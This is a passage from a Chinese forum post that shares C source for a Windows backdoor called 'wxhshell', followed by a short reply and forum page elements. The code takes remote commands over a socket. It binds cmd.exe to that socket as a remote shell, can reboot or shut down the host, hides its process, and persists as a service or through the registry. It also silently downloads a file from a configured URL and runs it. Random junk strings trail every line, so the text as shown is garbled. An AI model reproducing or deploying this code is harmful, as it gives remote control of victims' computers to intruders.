  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7gT^ZL  
  if(DownloadFile(cmd,wsh)) &fgfCZz'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tw9?U,]  
  else -&r A<j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z~ DR,:  
  } rs:a^W5t  
  else { SR { KL#NC  
Bl v @u?  
    switch(cmd[0]) { LW+^m6O  
  hN.{H:skL)  
  // 帮助 hx sW9  
  case '?': { <qCfw>%2F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3[iHe+U(  
    break; %x|0<@b7-  
  } UoKXo*W2  
  // 安装 Wj31mV  
  case 'i': { _9"%;:t  
    if(Install()) $oH?7sj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); of?'FrU  
    else ?h'd\.j{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VAZ6;3@cd  
    break; 3X}>_tj  
    } kV+O|9  
  // 卸载 PkxhR;4  
  case 'r': { r WPoR/M  
    if(Uninstall()) 2<Q3-|/i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0]`%i G|  
    else Y` tB5P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x8E!Ko](  
    break; ^Euqy,8}  
    } _9b;8%? Yf  
  // 显示 wxhshell 所在路径 :/FT>UCL  
  case 'p': { ##qs{s^ ]  
    char svExeFile[MAX_PATH]; :<>=,`vQD  
    strcpy(svExeFile,"\n\r"); E=8$*YUW(g  
      strcat(svExeFile,ExeFile); [78^:q-/0  
        send(wsh,svExeFile,strlen(svExeFile),0); uOprA`3  
    break; 63y&MaqSJ  
    } ma(E}s  
  // 重启 GJ4R f%  
  case 'b': { OO`-{HKt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &\/p5RX  
    if(Boot(REBOOT)) UqsX@jL!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [5TGCGxP{  
    else { \v[?4 [  
    closesocket(wsh); YVB\9{H?  
    ExitThread(0); TSAVXng  
    } 1<d|@9?9`  
    break; 7.`:Z_  
    }  a 9f%p  
  // 关机 }o MY  
  case 'd': { Q{+N{/tF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IJV1=/ NJW  
    if(Boot(SHUTDOWN)) '"14(BvW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lq\/E`fc`  
    else { b)Dzau  
    closesocket(wsh); 7>>6c7e  
    ExitThread(0); dUL3UY3  
    } DZ~qk+,I  
    break; V50FX }i  
    } LHJjPf)F  
  // 获取shell Z 361ko}  
  case 's': { {%Q &CQG_  
    CmdShell(wsh); ;UG]ckV-  
    closesocket(wsh); BX=YS)  
    ExitThread(0); F~tT5?+  
    break; SN/ e41  
  } |] 8Hh>  
  // 退出 Foc) u~  
  case 'x': { 9py *gN#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *P}v82C N  
    CloseIt(wsh); UuvI?D  
    break; LU4k/  
    } }hd:avze  
  // 离开 +Pm yFJH  
  case 'q': { \5s #9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?Wz rv&E2  
    closesocket(wsh); |VRzIA4M\  
    WSACleanup(); *Af:^>mh  
    exit(1); [exIK  
    break; jLu`DKB  
        } K}p!W"!o  
  } &E&e5(&$  
  } 8Qt'Y9|  
 iI(7{$y  
  // 提示信息 1"5-doo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R"`7aa6  
} ApxGrCu  
  } lYq4f|5H}m  
s9'lw'  
  return; Mk~]0d  
} "]M]pR/j  
:L!O/Bd8V  
// shell模块句柄 sHSD`mYq  
int CmdShell(SOCKET sock) LCMCpEtY*K  
{ 3A(sT}  
STARTUPINFO si; }+1Y>W7q  
ZeroMemory(&si,sizeof(si)); 8Vb.%f &I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1JI\e6]I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v2uyn  
PROCESS_INFORMATION ProcessInfo; HX77XTy  
char cmdline[]="cmd"; |nFg"W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8 aHs I(  
  return 0; q`8M9-~  
} H=j&uv8  
D L0i  
// 自身启动模式 J<4 egk4  
int StartFromService(void) oSOO5dk:z  
{ ,>rr|O  
typedef struct &>m# "A\^  
{ 6eNo}Tos9  
  DWORD ExitStatus; "=S< xT+  
  DWORD PebBaseAddress; <-1(G1v  
  DWORD AffinityMask; 0*F{=X~L  
  DWORD BasePriority; x!08FL)  
  ULONG UniqueProcessId; F.0CJ7s  
  ULONG InheritedFromUniqueProcessId; 3 0fsVwE2  
}   PROCESS_BASIC_INFORMATION; 23AMrDF=N  
A1A/OU<Vb  
PROCNTQSIP NtQueryInformationProcess; %ur_DQ  
Z`=[hu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,r-l^I3<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lj4D: >Ov  
UtebSQ+h\  
  HANDLE             hProcess; 1j7sJ" *  
  PROCESS_BASIC_INFORMATION pbi; ?/ @~ d  
K5fL{2V?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A@kp` -  
  if(NULL == hInst ) return 0; u ::2c  
"XEK oeG{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'F- wC!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8RfFP\AP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4t0B_o"  
Sf2pU!5n^  
  if (!NtQueryInformationProcess) return 0; >(} I7  
mrzrQ@sN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v~2$9x!9  
  if(!hProcess) return 0; RiY9[ec2  
AI|8E8h+D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o6PDCaT7  
Tjfg[Z/x  
  CloseHandle(hProcess); 8d90B9  
&{Zt(%\ '  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fgmIx  
if(hProcess==NULL) return 0; pa6.Tp>  
&3Q!'pJJ  
HMODULE hMod; Z*}5M4  
char procName[255]; rl0sN5n  
unsigned long cbNeeded; ~e ,D`Lv  
){PL6|5x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BixKK$Lo  
&3SQVOW ~T  
  CloseHandle(hProcess); 8e`'Ox_5a  
{PXN$p:'  
if(strstr(procName,"services")) return 1; // 以服务启动 GtCbzNY  
]5+db0  
  return 0; // 注册表启动 c3X'Sv  
} yj6o533o  
0<8p G:BQ  
// 主模块 +$hqwNh@Z@  
int StartWxhshell(LPSTR lpCmdLine) y7;i4::A\  
{ ;<JyA3i^V,  
  SOCKET wsl; nty^De%  
BOOL val=TRUE; meHnT9a^  
  int port=0; c Bl F  
  struct sockaddr_in door; o Q!56\R  
*vL2n>HH  
  if(wscfg.ws_autoins) Install(); &vf%E@<  
+wAH?q8f  
port=atoi(lpCmdLine); v[r5!,F  
Kd?TIeFE  
if(port<=0) port=wscfg.ws_port; )}-,4Iu%  
&B</^:  
  WSADATA data; S}/?L m}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?Mb 'l4  
*nv%~t   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L"w% ew  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L8&$o2+07r  
  door.sin_family = AF_INET; '.sS"QdN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I.f)rMl+h  
  door.sin_port = htons(port); 'w?*4H  
VOkEDH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X*'tJN$  
closesocket(wsl); HAHv^  
return 1; IA\CBwiLj  
} Mpfdl65  
T ~9)0A"]  
  if(listen(wsl,2) == INVALID_SOCKET) { QBg~b{h  
closesocket(wsl); pZS0;T]W,  
return 1; ZeUA  e  
} y~.k-b<{[  
  Wxhshell(wsl); ewNzRH,b  
  WSACleanup(); ]wH,534  
`CW I%V  
return 0; Ue>;h9^  
~nQv yM!$  
} R6^U9 fDG  
dE<}X7J%  
// 以NT服务方式启动 r[ UZHX5+S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .Ulrv5wJ  
{  As&=Pb9  
DWORD   status = 0; )T-C/ 3  
  DWORD   specificError = 0xfffffff; He#5d!cf:M  
5J d7<AO_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EJM6TI"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gWxpGW^eZ~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MZyzc{c,  
  serviceStatus.dwWin32ExitCode     = 0; ,t`u3ykh  
  serviceStatus.dwServiceSpecificExitCode = 0; 5'JONw'\  
  serviceStatus.dwCheckPoint       = 0; Qi 3di  
  serviceStatus.dwWaitHint       = 0; ^xW u7q  
}@kD&2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FKTdQg|NZ  
  if (hServiceStatusHandle==0) return; 1:7 uS.  
+d7sy0  
status = GetLastError(); n+C]&6-b  
  if (status!=NO_ERROR) SLzxF uV  
{ 8 JOfx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'y(;:Kc  
    serviceStatus.dwCheckPoint       = 0; ea"!:cL(g  
    serviceStatus.dwWaitHint       = 0; ?;s}GpEY:  
    serviceStatus.dwWin32ExitCode     = status; njbEw4nX  
    serviceStatus.dwServiceSpecificExitCode = specificError; hJr cy!P<a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B0_[bQoc1  
    return; Ck71N3~W  
  } g"Eg=CU  
-dCM eC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 334UMH__  
  serviceStatus.dwCheckPoint       = 0; y\=(;]S'  
  serviceStatus.dwWaitHint       = 0; -8j<`(M' 5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D(EY"s37  
} sFd"VRAV~E  
\+]U1^  
// 处理NT服务事件,比如:启动、停止 ~FnB!Mh}?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^ :%"Z&  
{ <M(Jqb cWa  
switch(fdwControl) {o2pCH  
{ 5Ocd2T'  
case SERVICE_CONTROL_STOP: +(v<_#wR-  
  serviceStatus.dwWin32ExitCode = 0; koi QJdK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  b)7uz>I  
  serviceStatus.dwCheckPoint   = 0; O}4(v#  
  serviceStatus.dwWaitHint     = 0; ~hubh!d=  
  { OQ[E-%v1 R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t7A '  
  } 3~zK :(  
  return; qTbY'V5A  
case SERVICE_CONTROL_PAUSE: 1ga-8&!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @x9DV{j)V  
  break; }( x|  
case SERVICE_CONTROL_CONTINUE: >d.o1<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ``%uq)G=D  
  break; Y,-?oBY  
case SERVICE_CONTROL_INTERROGATE: Kd 2?9gaw  
  break; \,:3bY_d  
}; ^%)H;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oSmv  (O  
} tc go 'V  
?y.q<F)  
// 标准应用程序主函数 h8IjTd]z{$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6XVr-ef  
{ [iJU{W  
Hwr# NKz-  
// 获取操作系统版本 1J}i :i&  
OsIsNt=GetOsVer(); )_*<uSl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d2b  L_  
+UzFHiGy#  
  // 从命令行安装 ]SNA2?q  
  if(strpbrk(lpCmdLine,"iI")) Install(); ('!{kVLT-  
tBDaFB  
  // 下载执行文件 HOWm""IkB  
if(wscfg.ws_downexe) { Au+SCj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g[VVxp!C<  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8"!Z^_y)  
} ]ne&`uO  
;>*l?m-S@n  
if(!OsIsNt) { ;DMv?-H  
// 如果时win9x,隐藏进程并且设置为注册表启动 yN* H IN  
HideProc(); }E=:k&IDPB  
StartWxhshell(lpCmdLine); D`nW9i7  
} SU0K#:  
else L nQm2uF  
  if(StartFromService()) "CYh"4]@rD  
  // 以服务方式启动 4::>Ca^{  
  StartServiceCtrlDispatcher(DispatchTable); @Y/PvS8!  
else IR*g>q  
  // 普通方式启动 goYRA_%cX  
  StartWxhshell(lpCmdLine); U.7;:W}c  
?klV;+  
return 0; .C avb  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五